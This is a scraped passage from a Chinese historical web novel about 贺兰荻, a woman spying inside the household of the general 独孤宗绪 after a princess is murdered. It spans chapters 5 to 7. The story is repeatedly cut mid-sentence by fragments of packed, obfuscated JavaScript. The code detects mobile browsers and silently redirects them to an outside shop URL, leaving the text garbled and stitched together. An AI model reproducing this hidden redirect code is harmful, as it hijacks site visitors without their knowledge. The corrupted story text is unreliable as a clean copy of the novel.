不过是个寻求庇护的可怜女子罢了,独孤策不在意,他取而代之也不是不可以。 月色深浓,孤城风寂,有人相依总是好的。他觉得自己的心底升腾起了一簇火焰,越来越烈,不可平复。 于是他伸手,挑起了她的下巴:“贺兰荻,但愿你不会后悔。” “我不后悔。”她主动环住了他的腰,撒娇般地在他怀中蹭了蹭,“将军说要保护我,也不许食言呀!”她的尾音柔柔软软的,很勾人。 她说总说自己嘴笨,实在谦虚,独孤宗绪很久没有听到有谁能将字字句句说得如此缭乱人心的。 风声呜咽,烛火缭乱。 独孤宗绪身上泛起一层薄汗,沾染了女子身上的香气,他竟未觉得难以忍受。或许,这只是因为从未有人如她一般,大胆的有些莽撞,妩媚的十分笨拙,让他很放心。 他的唇轻轻压下,落在她桃花般娇艳的侧脸上,一点点顺着滑腻的触感往下落,气息交缠,迷乱无法自拔…… 月色朦胧,海棠如颜花映红。 …… 情欲纠缠间,灯烛都落了泪,谁知忽然,外面传来墨竹的声音,带着几分犹豫:“主公,出事了,大王让你尽快去西院。” “西院?” “清河公主那边出事了。” 只这一句,便叫独孤宗绪停下了所有的动作。 他抬起头,气息仍乱,但是眼眸已经恢复的清明一片。 顿了顿,他对外面道:“我马上就去,先吩咐人将西院围起来,莫要让人借机生事。” 忖了忖,又道:“算了,一切等大王处置,咱们先不动。” 外面应了句“是”,然后匆匆离开,可屋中的旖旎到底被打破,只剩佳人水雾蒙蒙的眼眸,殷殷地看着他,似乎有些不知所措。 “不要害怕,”独孤宗绪的手抚了抚贺兰的发,柔声安慰,“你先回去休息,边地不安全,这几日莫要乱跑,待我料理了此间事情,再来看你。” 贺兰眨了眨眼睛,认真地点了点头。 “将军千万注意安全。” 宗绪说了句“知道了”,然后匆匆离开,离开时带起一阵风,摇曳着晕黄的烛火。光影明灭处,贺兰舒了口气,弯起一个寂寥的笑。 …… 这一晚贺兰独寝,夜半恍惚看到外面仍有火光闪烁,想来确实出了大事,她翻了个身将床帐掩得更紧了些,后来干脆将被子捂在了头上。 这一觉睡得辗转,醒来时天光已大亮。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546669|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 侍女素商一面打着帘子,一面觑着贺兰的脸色,欲言又止。 “何事?”贺兰揉了揉眉心,打了个大大的哈欠。 素商刚准备开口,忽听到身后房门响动,一股冷气呼啸着闯入,让还未更衣的贺兰不由皱了皱眉,向后缩了一下。 “娘子,出事了!”却是槐序的声音。 “你这丫头,冒冒失失做什么?”素商不满地嗔道。 槐序吐了吐舌头,嗫喏道:“确实出了大事啊……” 素商还要再教训她几句,却被贺兰阻止了。她笑意温柔,声音更是温和:“发生什么事了?” 槐序年幼,少有城府,被她这一眼看得心情愉悦,倒豆子一般地将自己所知全部说了出来。 的确是大事。 “昨夜入定时分,清河公主被人勒死在了屋中……”槐序低声道。 说完,她就在娘子的脸上窥到了和她一样震惊的神色。 “公主身边那么多人侍候着,怎么会……”贺兰道。 “听说公主昨夜身体不舒服,早早就睡了。侍女见左右无事,想着前院宴席热闹,就只留了两个年岁尚小的照看。那两个小的贪睡,听到动静后才去内室查看,却发现已经晚了。”槐序惋惜地摇头,扁了扁嘴巴。 贺兰仍在震惊中,脱口而出:“刺客可抓到?” 槐序的头摇得更凶了,声音压低了些:“怪就怪在,就那么一点时间,刺客就消失的无影无踪了。” 这下连素商都讶然不已,道:“怎么可能,人还能凭空消失!” 槐序将自己打探到的尽数说出,神神秘秘的:“所以有人怀疑,刺客还藏在府中,或许就是府上的人。” 贺兰与素商对视一眼,神色微妙。 “若真藏在府上,那将军会不会有麻烦……”贺兰皱眉,露出担忧之色,“槐序,你再去打探打探,我真担心……” 槐序最看不得贺兰忧心,忙答应着出去,跑得比兔子都快。 “娘子不打算让她知道?”槐序离开后,素商将贺兰扶到妆台前,低声问道。 贺兰看着镜中这张有些陌生的脸,轻轻摇了摇头。这些年她其实没有任何变化,甚至随着年岁的增长,出落得越发娇艳夺目,可是她还是觉得自己变了。伪装了太多悲喜,她有时也会恍惚,自己到底该是什么模样。 总归不似当年。 “槐序小孩子脾气,让她知道太多不好。何况她……”贺兰没有说明,但素商却明白了她的意思。 槐序是乐陵公所赠,看着再单纯,也不能事事托付。 “这些人里你陪了我最久,很多事情我都不瞒你,素商,你一天也很辛苦吧。”贺兰转身,一手握住素商的腕子,一手从妆盒中取出一只玉镯,不由分说地给素商戴上。 素商推拒,贺兰却执拗:“现下我给不了你什么,还总是连累你跟着我担惊受怕,真是对不住。若是……这次事情能成,咱们就再不受人欺凌了,今后咱们都只过安定日子,这只玉镯算什么,我们会有更多……” 素商被她说得难受,禁不住红了眼圈:“娘子待我好,便是为你死了,奴也是甘愿的。” 贺兰阻止了她的话:“不许说丧气话!我不要你死,我们都要好好活,花团锦簇的活,听明白了吗?” 5. 五、孤注掷 午膳后,贺兰吩咐素商打开后院的角门。 “都不用侍候了,我想要休息片刻。”她淡声吩咐。新来的侍女从未见过这么省心又好脾气的主子,自然乐得退下,去躲些清闲。 “你去外面候着,多留意些。”贺兰对素商道。 “娘子……”素商心有忧虑,却不知该怎么说。 贺兰莞尔,找了个舒服的姿势,窝在窗边的榻上,声音懒洋洋的:“乐陵公已经将府里团团围了,他出不去府,可不得来我这里讨个办法。” “可是,若他伤到娘子怎么办?” 贺兰摇头说不会:“那个人以为我还有用处,不会让他伤了我的,放心吧。” 说罢,她轻轻阖上眼眸,仿佛真得困意昏沉,准备小憩片刻。 那人比她预想中来得还要快些,看样子有些气急败坏。 “娘子好定力,府里乱成这样,还能高枕无忧。”那人坐在梁上,声音里带着几分轻慢。 贺兰眼皮都没有抬,只是起身,坐到了镜前,仔细端详着自己今日的装扮。 “封将军武艺高强,便是做这梁上君子,也能做得如此神出鬼没。”贺兰将一支金簪插入发髻,满意地笑了起来。她说话的声音很轻柔,听着不过是闲话家常,可封阙却听出了嘲讽的意思。 “当不起娘子这一声将军,”他从梁上跳下,轻轻落在铺着锦毯的地上,半点声息也没发出,“不过是殿下身边的仆婢罢了。” 他将“仆婢”二字咬得极重,显然有提醒贺兰的意思。 然而贺兰并未露出任何羞愤之色,只是在说话间又将一只玛瑙手串戴在了自己的腕上。 “将军今日找来,究竟有何要事?”她漫不经心的问。 明知她在装傻,但封阙毫无办法,他没想到独孤宗绪的反应这样快,整个太守府围的铁桶一般,就算他武艺高强,也没有办法抽身离开。 事到如今,只能靠这个女人了,哪怕心里再不屑,还是得暂时低头。 他懒得再与她虚与委蛇,直接说明自己的来意:“独孤宗绪将整个府邸都围了起来,挨个院落搜查,你必须尽快想个办法,让我安全离开。” 有求于人还如此理直气壮,还真拿自己当个人物了。 贺兰用衣袖掩着唇笑了起来:“我可没有这样的本事,将军可真是为难人了。将军杀人时那般果断,想必已经有了抽身之法,怎么还会来求我一个‘仆婢’……” “殿下对你尚有耐心,我却没有。萧氏,你不想活了么,还是说想让洛阳的那一位也给你陪葬!”封阙被她激怒,声音都大了许多。 贺兰起身,踱到了窗边,在确定附近无人后,才缓缓在唇上比了个“噤声”的手势。 “你再嚷下去,你也得给我陪葬了。”说罢,她走到封阙身边,眨着眼对他笑。 封阙慌得退了几步,脸色更黑了,低哑着嗓子警告:“都是在替殿下做事,你最好乖觉点,此事若败露,咱们都活不了。” 见贺兰仍旧漫不经心,他不由得又补了一句:“殿下不是怜香惜玉的人,你若是敢生了贰心,不要怪他不念旧情。” “我哪敢啊……”贺兰用手扶了扶鬓上的钗环,苦笑道,“可是此事的确很棘手,我有什么办法。” 她又踱了几步,想到一个主意:“事到如今,你藏在我这里反倒安全,等过几日风声不这么紧了,我再送你出府,可好?” 封阙想来想去,也确实别无他法,答应着还不忘继续威胁:“不要自作聪明,你阿父如今看上去有官有爵,其实不过阶下之囚。殿下若想要他的命,也不过轻而易举。” “不劳将军提醒,我知道自己的身份。渤海王殿下身份尊贵,权势煊赫,不是我们这些人可以得罪的。”贺兰的声音很轻柔,但一字一句却压抑着怒意。 “知道就好……”封阙见她如此,难免得意,一转身去了后院,寻地方藏身去了。 看着他消失的背影,贺兰眼中闪过一丝幽微的恨意,但眨眼间,又恢复了含笑浅媚的样子。 …… 素商进屋时,见贺兰独自趴在窗边发呆,上前道:“奴去问了,乐陵公今日仍宿在书房,让娘子不要等他了。” “看来很棘手啊……”贺兰低低叹了一句,伸手去触横斜在窗口的梅枝,梅枝上积了一痕雪,不期然就落在手上,慢慢化成一滴晶莹的水珠。 “公主为联姻而来,她出了事,自然影响颇大。” “两国缔约,非得牺牲一个女子……”贺兰幽幽叹息。 素商没听明白,以为她没有休息好,关切道:“他既然不来,娘子也好趁机休息一下。” “什么?”贺兰显然没听清她的话。 素商指了指她眼下的乌青:“娘子再去睡一会儿吧,这里有奴照应着。” 素商从贺兰部一路伴她到现在,自以为比谁都了解她,比谁都心疼她。若不是贺兰部被灭,娘子失了依祜,又被那慕容泓要挟,她又何须应付这些恶心的男子。她这般样貌性情,本该安稳度过一生的。 说到底,都都怪那该死的独孤策。如果不是他的背弃,娘子也不会有今日的困苦无奈。 娘子当初满怀憧憬的嫁给他,以为自己得遇良人,全心全意地待他好,可是他在离开时却一点都没有犹豫。 所谓忘恩负义也不过如此了吧。 “娘子,我们这次真能逃出渤海王的魔爪吗,他那样凶狠的人,连亲妹妹都杀,奴实在怕……”素商宽慰道。 贺兰笑了一下,没有说什么,只是安抚地拍了拍她的肩膀。 他以为能拿捏利用自己,焉知自己不是在利用他? …… 接下来数日,独孤宗绪一次都未踏入后宅,封阙着急,出现得越发频繁,警告威胁的话一次比一次过分。 “他不来不是正好说明此处安全吗?你急什么……”贺兰冷然轻笑,勾了点胭脂点在了唇上。 封阙最讨厌她这个样子,毫无半分柔顺温婉的淑女姿态,张扬厚颜到了极处。于是没好气道:“我不急,反正出了事,你也活不了。独孤宗绪若是知道你是殿下派来的细作,岂能容你!” “这美人计用起来……真不容易呢。我刚到他身边,就出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546670|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么大的事儿,你说他会不会怀疑我呀!”点了胭脂的唇红得艳丽,翕动之间,让人挪不开眼睛。 明明她也在局中,此时却装成局外人模样,一脸的天真无辜。 封阙忽然想起了主上的话,冷着声警告:“给你三日,若我还是出不去,我不介意借你的头一用!” 贺兰听他说完,脸上并未有恐惧之色,她仍旧含着笑,长睫一眨一眨,纯真极了。 “封将军这样说话,我不爱听……”她缓缓道,“下次换个我喜欢的说话方式,说不定我就乖乖听话了。” 封阙怒气纵横,却显然拿她没有办法,悻悻然离开。 贺兰看着他一闪便消失的背影,脑海中重现着昨夜的梦,也许那不能叫梦,只能叫回忆。 …… “阿荻,你当真不愿去?”义父的话似乎仍在耳边。 那时她拒绝的那般果断:“阿耶说这些,不过因为我是个女子,阿耶觉得不堪其用罢了。贺兰部如今腹背受敌,身边群狼环饲,想以女子来换生机不过是饮鸩止渴,阿耶何必如此做。” “他是大晋的渤海王,是皇长子,”贺兰越并不认同阿荻的话,“你若是讨得他欢心,他说不定会将你带回洛阳,封个侧妃也未可知。” “若是他不带我回去呢?”巨大的羞愤之感,让贺兰荻泪流满面。 她一路逃亡,早就不是娇养在深闺的女郎。她抛弃了矜持和廉耻,会从别人的手中抢东西吃,被打的头破血流是常事,泥巴糊住伤口,爬起来继续抢。没有饿死不过是奇迹,狗彘一样的活了下来,她唯一的愿望就是攥住当下的一切,从不敢奢望什么未来。 可是这件事,还是超过了她的接受范围。 “就算他不带你去,也该知道我贺兰部的态度,若将来我部遇到危险,或许还能指望大晋派兵来救……”贺兰越显然不在意她的想法,根本看不到她的绝望。 “阿耶,我是你的义女,不是青楼的妓子……”她膝行几步,匍匐在贺兰越的脚下,“阿耶当初让我嫁给独孤策,我没有违拗半分,如今被他抛弃,孤苦无依……阿耶就当是可怜我,不要让我去,好不好……” “阿荻!”贺兰越伸手将她扶起,强硬地捏住了她的下巴,迫着她看向自己。 “亏你还记得我对你的活命之恩……那你也该想着报答不是么?让你嫁给独孤策,原是让你去维系我们和独孤部的关系,可是你自己不争气啊!这次,给你一个将功赎罪的机会,侍奉好了渤海王,贺兰部还会给你一口饭吃,否则,你就去自生自灭吧!” “求求阿耶,我可以嫁到其他部落去……” “休要多言!” …… 原以为那样的噩梦经历一次就够了,她却根本没料想到,这原来只是个开始。不过两年时间,她又以同样的方式遇到那个人,而送她的人却变了。 “殿下喜爱你,是你的福分。我们在大晋无依无靠,芜娘,这是个好机会呀!” 同样的把戏,不过换了一套说辞罢了,过去她没有选择的机会,可是这次她愿意孤注一掷,给自己换一个生机。 6. 六、病中语 夜色深沉,人声寂寂,贺兰走到窗边,支起了窗户。窗外朔风凌冽,卷着雪花扑进了屋。 “素商,我想要沐浴……”她恹恹地说道, “奴去备水。”素商答应着往外走,忍不住回头去看贺兰,却见她缓缓趴在了妆台上,明媚的眼眸微阖,让人无法分辨她真实的心情。 她不由低声叹了口气。 封阙来得太过于频繁,若是被人发现,难免牵连到娘子。真该想个法子让他消失才好。 贺兰怔然望着窗外,白茫茫一片天地,天寒地冻,少人行走。可她却觉得有一团火灼烧着她,烧得五脏六腑都痛痒难耐。她急切地想做些什么,好浇灭这团火,让她能恢复宁和与平静。 烈焰焚心,身处火宅,她需要靠自己,才能一步步爬出阿鼻地狱。 是啊,她只能靠自己。 此棋局一旦开始,便再无回旋余地,她没有退路。 …… “娘子,水冷了。”槐序听素商的话,捧着布巾,一直守在外面,见里面半晌没有声息,不由出言问道。 这一声将贺兰从冗杂缭乱的回忆中惊醒,她将头从水中探出,长长地吸了口气。 春风不及的燕关,连月光都冰凉凉的,带着刺骨的寒意。她穿着一件单衣,拒绝了槐序递上来的大氅,一步步走出了屋子。 不过略走几步,就觉得浑身被冻僵了,可是心口的烦躁焦灼却明显减轻了许多。院子不大,抬眼就看见一株梅树横斜着探出院墙,雪蕊凝枝,傲然于寒风中。 此景足以让她驻足。 “‘树动悬冰落,枝高出手寒。早知觅不见,真悔著衣单。’青芜,这两句诗写得是不是很好?”记忆里的声音柔婉动听,那个对她说话的人也如枝上寒梅般高洁。 青芜……萧青芜已经死了,活着的人叫贺兰荻!回忆不能带来任何好处,只是负担罢了。 贺兰伸手,触到伶仃于寒风中的花,微凉的触感让她清醒了几分,再回眸时又是那个明眸善睐的女子。 “娘子,外面冷,快回去休息吧。”槐序跺着脚,催了一声。 贺兰点头,走了几步,忽然捂着帕子咳了起来。起初还只是零星几声,可越咳就越厉害,到后面连那几步回屋的路都走得艰难。 “娘子风寒未愈,怎能再受凉,奴扶你回去吧。”槐序心疼,上前几步将她半抱在怀中,扬声吩咐院中几个呆头呆脑,不知所措的小婢,“还不快去寻大夫,愣着做什么!” 贺兰勉力抬起头,温声宽慰她:“我没事,休息休息就好了,这会儿请大夫动静怪大的,若是惊扰到将军便是我的错了。” “都这样了你还想着别人,”槐序急得都要哭了,“不管主公如何,你好歹要自己心疼自己吧。” 她将人带回屋中,扶到榻上,准备转身去倒水时,忽然听到帐幔后传来细细的啜泣声,似乎压抑着无限愁怨。 这样的女郎,让她心疼。 槐序跺了跺脚,不顾贺兰方才的阻拦,径直去了前院。 一路跑到书房,却被告知独孤宗绪谁都不见。她在阁外急得团团转,但这里的仆从却并没有搭理她的意思。 槐序在寒风中等了许久,好不容易有个面庞清秀的小仆愿意帮忙,才终于将话递了进去。 出来见她的人是墨竹,脸上带着一丝不耐,不过态度算不上糟糕:“出了什么事?” “娘子病了,主公可不可以去看看她……”槐序央求道。 墨竹以为是什么大事,才匆忙出来,却不想只是这个理由,一个在后宅争宠中都拿不出手的拙劣借口。 他侧首对方才去请他的小仆道,“娘子生病了,还不赶紧去请大夫。” 他处事果决周全,但是话里话外透出的轻慢,却是怎么都藏不住的。 见槐序仍不肯走,墨竹皱眉催促:“主公有事要忙,还是不要惊动他为好。” 此言一出,与赶人无异。 槐序满心失望,踟蹰着往回挪着脚步,可是半晌也未听到对方有挽留的话语。她知道自己是自取其辱了,不由更加郁闷,忍不住叹了口气。 转过回廊,忽然听到身后传来一个男子的声音,突兀但也清朗:“她病得严重吗?” 槐序抹了把脸上的泪,回身去看,惨然的月色照在粉白的墙上,墙上倒映着纵横的树影,树影也参差落在了那个立在墙边的男子衣衫上。 他生得俊朗,是瑰丽无匹的好相貌,哪怕是在这样凄寒的夜里,看着也如灼灼迫人的火焰。 她愣了一下,急忙前去行礼。 “奴死罪,没有看到大王。” 独孤策觉得自己有些失了智,原本想好各不相干的,但是他也不明白,为什么在听到她生病后,自己还是忍不住多嘴关切一句。 毕竟当初她那样拒绝自己的靠近。 世上哪有这样的夫妻,比陌生人还要像陌生人,他还没有来得及多看她几眼,就选择弃她而去,而她也倔强地从未给过他半点机会…… 现在又是在做什么。 同情罢了,他不是个心硬的人,做不到对她的困境视而不见。 只是如此。 “带路……”独孤策的眼神凉凉的,带着压迫。他本就是个可怕的男人,积威更重,寡言少语,让人不敢去违拗。 槐序想让自己更有骨气些,可是发软的双腿却暴露了她的怯懦。她只能一遍遍乞求自己这次不要给娘子惹太大的麻烦,不要让娘子的处境更被动。 身后的人仿佛能感知到她内心的忐忑,就在快到时,对她说:“想办法支开所有的侍从,孤很快离开。” 槐序念了句“阿弥陀佛”,忍不住暗暗拍了拍自己的胸口,犹疑着应了下来:“奴这就去……可是,大王千万不要耽误太久,毕竟娘子如今是乐陵公的内眷……” “这不是你该管的事,况且他也不会知道。”独孤策并不想有更多的解释,不耐地冷哼了一声,“便是知道,又能如何?” …… 病中的美人少了几分妍媚,多了几分柔弱无助的美。她绯红着脸,口中不知道说些什么,泪水顺着她的脸颊滑落,也带着滚烫的温度。 模糊的记忆重又归来,五年的岁月非但没有消损她的容颜,反而让她的美貌更加让人惊叹。 他自诩是个冷情冷性的人,可此情此景下,竟然也恍惚了刹那。忍不住伸出手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546671|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触了触她的额,那里灼热的温度,让他不由得皱起了眉。 病成这样,竟然无人理睬,独孤宗绪未免太寡情了些。 独孤策刚准备起身去帮她找大夫,手腕却忽然被一个孱弱的力道抓住了。他垂目去看,方才还昏睡的女子,此时已睁着一双水雾氤氲地眼睛,迷离哀婉地看着自己。 她的眼睛因为高热而有些浑浊,里面布满了血丝,然而这样秀目半睁的样子却无端惹人心疼。 “将军……”她的嗓子有些哑,声音轻柔又小心,“我没事的,你不用来看我……” 她叹了口气,哀伤地闭上了眼睛。 独孤策摸了摸鼻子,不知道该如何应对。他与六叔确实有几分相像,她病中将人认错也正常。 “我无事的,大夫很快就到了,你走吧……”她的眼泪安静无声地落下,很快就湿了衾枕。 独孤策一时怔忡,心里说不上是什么滋味。 他小心翼翼地伸出手去,想要帮她拭去眼角的泪水,可是那泪却像怎么都流不完似的,旧痕仍在,新泪又添。 “你可怨我……”半晌后,独孤策找回了自己的声音,开口却是这样一句。他不知道自己期待什么,这句话分明很突兀。 可他偏想听到她的回答。 可惜,她的意识逐渐混沌,他没能听到她的回答。 独孤策的手僵在了她的颊边,柔软的触感,散着幽幽的香气,他的心跳诡异地滞了一下。 “阿荻,你心中可还怨着我……”独孤策仍不死心,又问了一句。 过了很久,在他已经要失去耐心时,她却忽然给了回应。 她挣扎着起身,缓缓地将滚烫的身体靠在了他的怀中。 她仍不清醒,否则怎么会有这样糊涂又大胆的举动。 “我很难受,将军,你抱抱我……”她伸手手臂,环住了他的腰,脸颊无意识地在他怀中蹭着,像是一个摇尾乞怜的小兽,“阿荻不想你离开的。” 她一遍遍重复着,始终不肯松开手,只将他抱得更紧,仿佛是抓住了一支浮木。 独孤策浑身僵的厉害,她的身体像是一个烧红的火炭,而他就是那个被施以炮烙之刑的罪人。哪怕四肢百骸都在忍受着火灼之苦,他仍没有办法将她推开。 原来她只是将他当做了六叔!原来她会这样依恋一个人…… 她该忘掉他的,尽管那时他们感情浅淡,但这不该是他背信弃义的理由。他从没想过,一个弱女子在这纷乱的世道中,到底该如何活下去。 哭了许久,她像是累了,终于沉沉昏睡了过去,可纤细的指仍攥着他的衣襟,将那里纠结成皱巴巴的一片。 独孤策长长舒了口气,扶她躺下后,逃也似的离开了。 门扉重重阖上,携带起一股凌冽的寒风,榻上之人缓缓睁开眼睛,轻轻扶了扶自己方才被弄乱的衣襟。 早知道槐序粗心又胆小,今夜就该让素商去。独孤宗绪没来,反而惹来了独孤策,让计划好的事情全部作废了。 何况,她一点都不想同他有什么瓜葛,但愿方才的举动,能让他彻底放下与她的过往。 不恨他,已经是对他最大的宽容了! 7. 七、飘零人 独孤策前脚离开,后脚医女就来了。 这是一个三十岁出头的女医,瘦削身材,眉目清秀。 “须得施针,都先退下吧。”她吩咐了一声,又补了一句,“按照刚才的方子去抓药,文火煎好,尽快给她喝。” 侍女应声退下后,帘后的人忽然低低笑了起来:“环夫人,你如今越发像个大夫了。” 医女听闻此言,睨了帐中人一眼,冷声道:“你若是再多病几次,靠着那些胡乱抄出来的方子,怕是兜不住了。毕竟我只知杀人,不知怎么救人。” “别总是打打杀杀的,怪吓人的。”贺兰起身,理了理自己躺得有些凌乱的发。 “……”被她叫做环夫人的女子不说话,只是看着贺兰,有些无奈。 “我刚才看到独孤策了,怎么,你还对他余情未了?”见贺兰仍是那种散漫的样子,她不由说道。 “谁想搭理他,不过是槐序那傻丫头请错人了。”贺兰低头,小声嗫喏。 “可他留了很久。” “做戏做全套,总不好拿棍子打出去。” “要真对他绝情,就该打出去才好。不过是个负心人,你不用对他旧情难忘。” 贺兰的声音里透着几分无奈:“没有什么旧情难忘,我为了能活下去已经用尽全力了,哪有空去想别的。情爱之事最奢侈,我不敢奢望。” 她一贯倔强,喜欢在她们面前粉饰太平,所以一说丧气话时,就分外惹人心疼。 “我们离开这里,随便寻一处清净地,也能过得很好。”环夫人劝道,一贯清冷的眉目间平添许多温柔。 贺兰却没有反驳她的话,不过刹那就敛了方才的失落,凑到她面前,笑得像只狐狸:“这世上最关心我的人,便是姊姊了。姊姊见多识广,我都听你的,好不好?” 粉面桃花眼,当真有迷惑人的本事。 环夫人被她闹了个大红脸,往后缩了一下,嗔了一句:“你的花言巧语,也就能骗骗我了。” 又道:“我比你年长,经历也多些,你再聪慧,也不会是那些人的对手。芜娘,你想要做什么我拦不住,但你千万不要泥足深陷,奢望太多。” 话音未落,就看到贺兰脸上露出一抹苦笑,她抚着披散在胸前的长发,曼声道:“我一无所有,只有皮相尚可,能拿来利用一二也算是不错了。” “姊姊,这些人眼中,我们根本连人都算不上,不过是个工具罢了。”贺兰苍白的唇上,笑意依旧温柔。 环夫人伸手抱住了贺兰,任她的头靠在自己孱弱的肩上。 她拍着贺兰的力度,就像拍着一个婴孩,眼里却满是藏不住的杀气:“我替你杀光他们吧,何必费心和他们周旋。” “姊姊又说气话,你又不是不了解我,我最喜欢美男子了,何况还是有利用价值的。等到厌了,再换一个就是了。”贺兰一脸无所谓的样子,豪气地摆了摆手,“你只管藏好自己的身份,独孤宗绪多疑,独孤策也不遑多让,他们见你来得频繁,必然会对你的身份细细查验,你须得提防。” 环夫人点头:“我知道的,若是不露个破绽,他们还会一查再查。所以只要隐约让他们查出我也来自于贺兰部就行。” “贺兰部已族灭,两个女子想要相依为命,再正常没有了。” 贺兰笑着握紧了她的手,道:“我这次答应你的话,都是真的,等到这件事了结,我一定随你离开这里。毕竟……也怪无趣的。” 环夫人反握住贺兰的手,在她手背的细腻纹路上缓缓摩挲:“时间过得多快啊,一晃都这么些年了,若是夫人看到你受了这么多苦,该多心疼啊。” “不管怎么说,我不是还活得好好的么,她会替我欣慰的。将来若是有机会,我还要重新替她修葺坟冢呢。明明是殉城的大英雄,现在的处境也太寒酸了些……”贺兰叹道。 当年城池陷落,若不是眼前女子一路护送她杀出来,她现在也只是落得孤坟一座。南北不久后就议了和,宛城陷落的事情就那样不了了之,投降到北地的人封官加爵,这种牺牲便像极了笑话。 清风一吹,散作尘烟。 “姊姊,我心里又有了一个计划,不知你可愿意帮我。”贺兰问道。 环夫人点头,忙附耳过去。 “这……可行吗?”她听完,暗暗皱眉,“你对独孤策……当真只是利用而已?” 贺兰并没有矢口否认,想了想,才缓声道:“或许也有不甘心,不甘心自己当初踏错了路,才会有现在这样被动的局面。又或许也有恨,恨他就那样弃我而去……” “你就是嘴硬……”环夫人叹气,“若真的恨他,哪里肯给他机会。不过他甘冒风险来看你,想来也并不是个心硬的人,或许当初是有苦衷的。话说回来,就算那时他带你走,你愿意跟着他么?” 贺兰用手抚了抚额,疲惫的摇头。 她自然不会,一个一无所有的人,没有任何值得冒险的理由。当初独孤策离开贺兰部,算得上前途未卜,九死一生,她绝不会陪着他。 可一码归一码,终究是他辜负在先。 “那独孤宗绪呢?” “他……我与他不过虚与委蛇,没有什么情意纠葛。”贺兰眨了眨眼睛,道。 “何况,男人的情意,一向算不得什么。” 环夫人想了想,迟疑着点头:“对于这些人,女色确实可有可无。” 贺兰轻笑:“我记得阿父教我弈棋时说过,有时候多布局一条路,生机就会多一分。我喜欢多给自己找几条路……” 环夫人还想说什么,忽然被外面侍女的声音打断:“主公至。” 贺兰没料到独孤宗绪会来,更没料到他来得如此快,按了按环夫人的手,示意她莫要慌乱。 环夫人显然比她还镇静些。 猝不及防的刺痛从穴位上传来,贺兰疼得呲牙咧嘴,还未来得及呼痛,就听到她低沉着嗓音,说道:“燕关苦寒,娘子旧疾未愈,今日又在外面待了太久,寒气入了体。若不善加休养,恐今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546672|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后惹来更大的病症,到时怕是神仙也难医了。” “我记下了,有劳。”贺兰的声音听着虚弱无力,“将军若问起,劳烦你就说我无碍。他事务繁忙,我不想他担忧。” “娘子放心。” 门外朔风凌冽,屋中言语落在耳中,碎片般支离。可是独孤宗绪还是听到了,仿佛有一滴雨落在心尖,一点点湿润,一点点凉意。 第一次见她,比她知道的要早。那时他隐藏身份,前去见乞伏那归。满室美人低首,唯有她悄然抬头,用那双漂亮的眼睛窥探着周遭的一切,被发现后虽然匆忙掩饰,但并不见任何慌乱之色。 一个狡黠如狐的女子,胆子比谁都大,心思却比谁都细。 是个很有心思的女郎,他想,这样的女子留在身边或许很有趣。 仆婢帮独孤宗绪打开了门,陌生的陈设布局提醒着他,这是他这些天第一次踏入她的住处。这间屋子不大,装饰的也简单,不过走了几步就看到了低垂的秋香色帐幔,还有倚在帐幔后那抹清瘦的影子。 见到他的那一瞬,那双眼眸中显示闪过一丝惊喜后,又仓皇地垂了下去,笨拙地掩藏着自己的情绪。 “这会儿可好些了?”独孤宗绪上前,触了触贺兰的额。 贺兰瑟缩地退了一下,只道自己无妨,但泪却簌簌而落,仿佛断了线的珠子。 “将军诸事繁杂,外面天寒路滑,实在不必专门过来一趟。”她咬着下唇,才勉强止住了哽咽,“妾已无恙,将军放心吧。” 话说得硬气,但颤抖的肩膀却让她看着更无助。 俊秀清冷的一张脸上微微露出一丝不忍,独孤宗绪将手放在贺兰的肩上,轻轻拍了几下,意在安抚。 可谁知她却哭得更厉害了。 正在独孤宗绪怔愣无措时,一阵清甜的香气袭来,柔软地身躯就那般猝不及防地落入他的怀中。他本能想要推拒,可她的手臂已经环住了他的腰,带着几分娇蛮。 “将军就这般厌恶我么?”她抬起头,用通红的眼睛看着他,“若将军当真厌我,我……” “你又当如何?”独孤宗绪的嗓子有些发干,整个人都带着几分僵硬。 她吸了吸鼻子,一滴泪珠挂在眼睫上,晃晃悠悠地,将落未落。 